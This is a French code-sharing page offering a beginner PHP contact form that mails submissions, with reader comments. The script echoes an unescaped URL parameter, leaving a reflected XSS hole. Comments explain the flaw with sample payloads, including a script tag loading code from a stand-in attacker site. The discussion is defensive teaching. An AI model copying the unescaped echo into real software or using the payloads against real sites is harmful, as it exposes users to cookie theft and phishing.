begin process at 2012 02 12 10:15:44
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

E-Mail / Messagerie

 > FORMULAIRE ENVOI PAR MAIL AVEC MESSAGE D'ERREUR

FORMULAIRE ENVOI PAR MAIL AVEC MESSAGE D'ERREUR


 Information sur la source

Note :
7 / 10 - par 2 personnes
7,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :E-Mail / Messagerie Classé sous :email, emailhtml Niveau :Débutant Date de création :22/07/2004 Date de mise à jour :27/03/2006 23:05:37 Vu / téléchargé :16 824 / 2 137

Auteur : gabi77

Ecrire un message privé
Site perso
Commentaire sur cette source (13)
Ajouter un commentaire et/ou une note

 Description

Ce code vous sert à recevoir vos mail par la fonction mail de php.
C'est-à-dire que vos contact écrive remplit un formulaire et vous le recevez directement par mail dans votre boîte. Mais j'ai ajouter une chose qui vous permet de pas recevoir de mail sans rien dessus. Pour le reste je vous laisse tester .....

Source

  • Crée un fichier "formulaire.php"
  • le code du formulaire est le suivants ( a insérer entre les balise <body> </body>:
  • <div align="center">
  • <h1><font face="Verdana, Arial, Helvetica, sans-serif">Contactez-moi</font></h1>
  • </div>
  • <form action="result.php" method="post" name="form" id="form">
  • <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
  • <tr>
  • <td colspan="2">
  • <?
  • if ($ERRMSG!=""):
  • echo("<font color='Red'><B><I>$ERRMSG</I></B></font><BR><BR>\n");
  • endif;
  • ?>
  • </td>
  • </tr>
  • <tr>
  • <td> </td>
  • <td> </td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Nom :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Nom" type="text" id="Nom" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Prénom
  • :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Prenom" type="text" id="Prenom" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Adresse
  • email :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input name="Email" type="text" id="Email" size="25">
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • </tr>
  • <tr>
  • <td valign="top"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • Commentaire :</font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <textarea name="Commentaire" id="Commentaire"></textarea>
  • </font></td>
  • </tr>
  • <tr>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
  • </tr>
  • <tr>
  • <td><div align="right"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input type="reset" name="Submit2" value="Effacer">
  • </font></div></td>
  • <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
  • <input type="submit" name="Submit" value="Envoyer">
  • </font></td>
  • </tr>
  • <tr>
  • <td> </td>
  • <td> </td>
  • </tr>
  • </table>
  • </form>
  • Crée un fichier "result.php"
  • <?
  • // on verifie deja les champs...
  • $ERRMSG="";
  • if ($Nom==""):
  • $ERRMSG.="<LI>Votre nom\n";
  • endif;
  • if ($Email==""):
  • $ERRMSG.="<LI>Votre email\n";
  • endif;
  • // Champs à modifier selon les besoin
  • if ($ERRMSG!=""):
  • $ERRMSG="Vous devez indiquer...".$ERRMSG;
  • $ERRMSG=urlencode($ERRMSG);
  • $Nom=urlencode($Nom);
  • $Email=urlencode($Email);
  • Header("Location: formulaire.php?ERRMSG=$ERRMSG&Nom=$Nom&Email=$Email");
  • exit;
  • endif;
  • // donc on peut envoyer l email
  • if ($EMAIL==""):
  • endif;
  • $mail = $mail."DEMANDE D'INFORMATION Photoagogo\n\n\nStatue : ";
  • $mail = $mail."\nNom : " . $Nom;
  • $mail=$mail."\nPrénom : " . $Prenom;
  • $mail=$mail."\nEmail: " . $Email;
  • $mail=$mail."\nCommentaire : " . $Commentaire;
  • // Sujet du mail et adresse de déstination
  • $recipient = "email@nomdomaine.com";
  • $subject = "Demande d'information Photoagogo";
  • // Sujet du mail
  • $mailheaders = "From: Demande d'information venant de photoagogo.fr.St <> \n";
  • mail($recipient, $subject, $mail, $mailheaders);
  • // Remerciement
  • $ERRMSG="Nous avons bien pris en compte votre demande.<BR>A très bientôt !";
  • $ERRMSG=urlencode($ERRMSG);
  • Header("Location: formulaire.php?ERRMSG=$ERRMSG");
  • ?>
Crée un fichier "formulaire.php"

le code du formulaire est le suivants ( a insérer entre les balise <body> </body>:


<div align="center">
  <h1><font face="Verdana, Arial, Helvetica, sans-serif">Contactez-moi</font></h1>
</div>
<form action="result.php" method="post" name="form" id="form">
  <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
      <td colspan="2"> 
        <?
	if ($ERRMSG!=""):
		echo("<font color='Red'><B><I>$ERRMSG</I></B></font><BR><BR>\n");
	endif;
	?>
      </td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Nom :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Nom" type="text" id="Nom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Prénom 
        :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Prenom" type="text" id="Prenom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Adresse 
        email :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Email" type="text" id="Email" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td valign="top"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        Commentaire :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="Commentaire" id="Commentaire"></textarea>
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td><div align="right"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
          <input type="reset" name="Submit2" value="Effacer">
          </font></div></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="submit" name="Submit" value="Envoyer">
        </font></td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
  </table>
</form>


Crée un fichier "result.php"

<?
// on verifie deja les champs...
$ERRMSG="";
if ($Nom==""):
	$ERRMSG.="<LI>Votre nom\n";
endif;
if ($Email==""):
	$ERRMSG.="<LI>Votre email\n";
endif;

// Champs à modifier selon les besoin
if ($ERRMSG!=""):
	$ERRMSG="Vous devez indiquer...".$ERRMSG;
	$ERRMSG=urlencode($ERRMSG);
	$Nom=urlencode($Nom);
	$Email=urlencode($Email);
	Header("Location: formulaire.php?ERRMSG=$ERRMSG&Nom=$Nom&Email=$Email");	
	exit;
endif;

// donc on peut envoyer l email

if ($EMAIL==""):
endif;
$mail = $mail."DEMANDE D'INFORMATION Photoagogo\n\n\nStatue : ";
$mail = $mail."\nNom : " . $Nom;
$mail=$mail."\nPrénom : " . $Prenom;
$mail=$mail."\nEmail: " . $Email;
$mail=$mail."\nCommentaire : " . $Commentaire;

// Sujet du mail et adresse de déstination
$recipient = "email@nomdomaine.com";
$subject = "Demande d'information Photoagogo";

// Sujet du mail
$mailheaders = "From: Demande d'information venant de photoagogo.fr.St <> \n";
mail($recipient, $subject, $mail, $mailheaders);

// Remerciement
$ERRMSG="Nous avons bien pris en compte votre demande.<BR>A très bientôt !";
$ERRMSG=urlencode($ERRMSG);
Header("Location: formulaire.php?ERRMSG=$ERRMSG");
?>

 Conclusion

A vous de jouer maintenant...

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

23 juillet 2004 08:54:58 :
J'ai retirer le exit de la fin.
27 mars 2006 23:05:37 :
Correction

 Sources de la même categorie

Source avec Zip Source avec une capture FORM TO MAIL AVEC PROTECTION PAR TOKEN ET CAPTCHA CONTRÔLES ... par cod57
Source avec Zip Source avec une capture FORMULAIRE VERS COURRIEL BASIQUE AVEC CONTRÔLE CAPTCHA ANTI ... par cod57
Source avec Zip CHAT EN PHP ET JQUERY par pitchoubrazil
Source avec Zip Source avec une capture FORMULAIRE DE CHOIX MULTI-CONTACT VALIDE XHTML 1.0 TRANSITIO... par aventurier19
Source avec Zip Source avec une capture WEB MESSENGER par EvildarkEurope

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture FORM TO MAIL AVEC PROTECTION PAR TOKEN ET CAPTCHA CONTRÔLES ... par cod57
Source avec Zip Source avec une capture FORMULAIRE VERS COURRIEL BASIQUE AVEC CONTRÔLE CAPTCHA ANTI ... par cod57
Source avec Zip Source avec une capture CLASSE DE MESSAGERIE par janhsh
Source avec Zip CLASS D' ENVOIE DE MAIL EN SMTP par ImmortalPC
Source avec Zip FORMULAIRE PERMETTANT D'ENVOYER UN E-MAIL (AVEC PIÈCES JOINT... par triumphs

Commentaires et avis

Commentaire de GRenard le 22/07/2004 18:49:50

Pas mal pour un débutant par contre, c'est pas beau utiliser des endif :P mais bon tu fais comme tu veux

L'utilisation de ton exit à la fin de ton fichier result.php est a proscrire...
Même si sur les sites de php ils te disent de faire ca, ce n'est pas une bonne idée...
En plus, tu es à la fin de ton fichier, c'est completement inutile :P

Commentaire de winwarrior le 23/07/2004 00:04:11

Pas mal mais pas sécurisé, "formulaire.php?ERRMSG=<script>alert();</script>"
à ta place j'utiliserai "switch()" pour filtrer les erreur
"formulaire.php?ERRMSG=1" etc ..
Sinon, meme avis que GRenard pour les endif et le exit

Bonne continuation.

Commentaire de chris81 le 23/07/2004 07:24:00

salut,
sympa ton code par contre je crois qu'a un moment pour la gestion des champ vide tu ecrase ta reponse au fur et a mesure.

Commentaire de minta le 23/07/2004 16:18:46

Ce commentaire s'adresse à GRenard, j'aimerais recevoir ton commentaire sur la source que tu trouveras à l'adresse suivante:

<http://www.phpcs.com/code.aspx?ID=22503>

Commentaire de Anthomicro le 23/07/2004 19:59:18

Salut ;-)

alternative à la gestion d'erreur via un switch : htmlentities() Comme ça les caractères html sont affichés et non interprétés par le navigateur.

Bye

Commentaire de gabi77 le 30/07/2004 13:04:14

Bonjour

Le script est un début, je vais bientot le modifier d'après tous vos commentaire cela ma aidé a approfondir mais connaissance. Donc voila et merci à tous les commentaires ci-dessus.

Cordialement gabi77

Commentaire de jonathan724 le 22/02/2006 17:29:54

Bizard quand j' essaye d' accéder au fichier formulaire j' obtion le message suivant :
Parse error: parse error, unexpected T_IF in /home/goldfree/www/formulaire.php on line 17

si quelqu' un pourrait m' aider ! Merci

Commentaire de Mascotte_Alex le 07/04/2007 23:18:59

Bonsoir, malheureusement les infos ne sont pas envoyées de mon coté
Sauriez vous pourquoi alors que j'ai bien modifier les infos concernant :
// Sujet du mail et adresse de déstination
$recipient = "dos-santos-alex@hotmail.fr";

Merci d'avance Bonne soirée

Commentaire de mickadevelop le 25/06/2007 23:36:35

salut, ca sert à rien de mettre htmlentities() puisque si il met des balises html elle ne seront actives que pour l'utilisateur (donc que pour le mec qui les met) si il a envi d'avoir des merdes sur ca page c'est sont probleme. J'aimerais avoir votre avis sur ce sujet peut etre n'ai- je pas pensé à une faille de securité lié à du javascripte ou autre merci :)

Commentaire de winwarrior le 26/06/2007 02:10:16

Combiné avec du social engineering (la victime devra cliquer sur le lien),
Un hacker pourrait mettre (par exemple) un code javascript qui lui enverrait le cookie de la victime sur ce domaine, ou ouvrirait une nouvelle fenetre avec une fausse identification ebay ou paypal (fishing) etc.. on peut presque tout faire en javascript
Donc non, ça ne sert pas à rien =)

Commentaire de mickadevelop le 26/06/2007 16:35:03

Oui je suis entierement d'accord avec toi qu'il ne faut pas laisser le javascript actif!! mais ce raisonnement n'a de valeur uniquement si un internaute malveillant mes un codes javascript sur une pages que d'autres interanutes peuvent consulter (par exemple dans un forum). Pour le cas qui est exposé au dessus on va afficher les variables saisies par l'utilisateur temporairement sur la page et il n'y aura uniquement que l'internaute qui les aura saisies qui sera concerné par ces variables. En conséquence si il rentre du javascript il ne pourra uniquement que lire ces propres cookies ou ce rediriger que lui meme vers une autre page web. Les conséquences ne seront valable uniquement que pour l'internaute qui a saisie les variable. Donnez moi votre avis sur ce raisonnement?

Commentaire de winwarrior le 26/06/2007 19:30:39

Le hacker peut inciter une personne à cliquer sur un lien (social engineering)
(exemple: http://sitevulnerable.com/?variablePasSecurisée=<script src="http://siteduhacker.com/scriptMalveillant.js"></script>);
la victime en cliquant sur le lien (le hacker l'aura bien entendu camouflé) injectera dans sa propre page le code javascript du hacker

Commentaire de mickadevelop le 26/06/2007 21:40:49

Ok je n'avais pas pensé a ce cas de figure. Merci et donc en conclusion il faut filtrer le html(avec htmlentites)toutes les variables demandé à l'utilisateur et que l'on affiche au format html!!!!!

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Envoie d'email [ par Zibou ] Bonjour,Je voudrai savoir si c'est possible d'envoyer des emails au format HTML en incluent c'est image dans le courierMerci Inscription et email d'acitvation [ par Elyianha ] Allo! en gros la, je crée un jeux online multiplayer..Je dois savoir comment, lors de l'inscription, une clé d'activation (un simple link a cliker) es VOUS VOULEZ DE L'AIDE? J'AI DES RÉPONSES [ par SmallToad ] Bonjour,Depuis quelque temps, je n'ai pas beaucoup d'email de fan qui me demande des questions sur le MySQL ou sur le PHP. C'est pourquoi que j'ai mis Test sur présence d'un pseudo dans une base [ par Masterfight ] Est-ce que j'ai bon ?Sachant que je passe $pseudo et $email.if ($ecrirecookie == "inscrire"){ $table="membres"; $query = "SELECT * from matable where Récupération d'une partie d'adresse email ? [ par Joez ] je veux recupérer ce k'il y a avant l'@ dans une adresse email, en php, comment faire ? Problème de compatibilité de script [ par Chris54 ] Bonjour,J'ai un problème d'execution d'un script javascript sous netscape alors qu'il fonctionne parfaitement sous IE mais je ne sais pas pourquoi.Que EMail [ par BSide ] Bonjour,je construis dynamiquement en PHP un tableau avec des données provenant d'une base Mysql.Parmi ces données se trouve un champ concernant l'ema Envoyer des coordonnees au membres [ par apz ] salut,je suis sur multimania.comment envoyer, par mail, au membres de mon site, leurs coordonnées (Login & Mot de passe) dans leurs boites email respe email + php [ par lpikachu58 ] Comment on fait pour envoyer un mail avec php?be linux AIDEZ MOI !!! Formulaire et Email [ par xevslipknot ] XeVsLiPkNoTJ'aimerai savoir un trucG fai mon formulaire htmlJe recupere les valeur sur une autre page en phpMais j'aimerai aussi les recuperer en mail


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 6,053 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales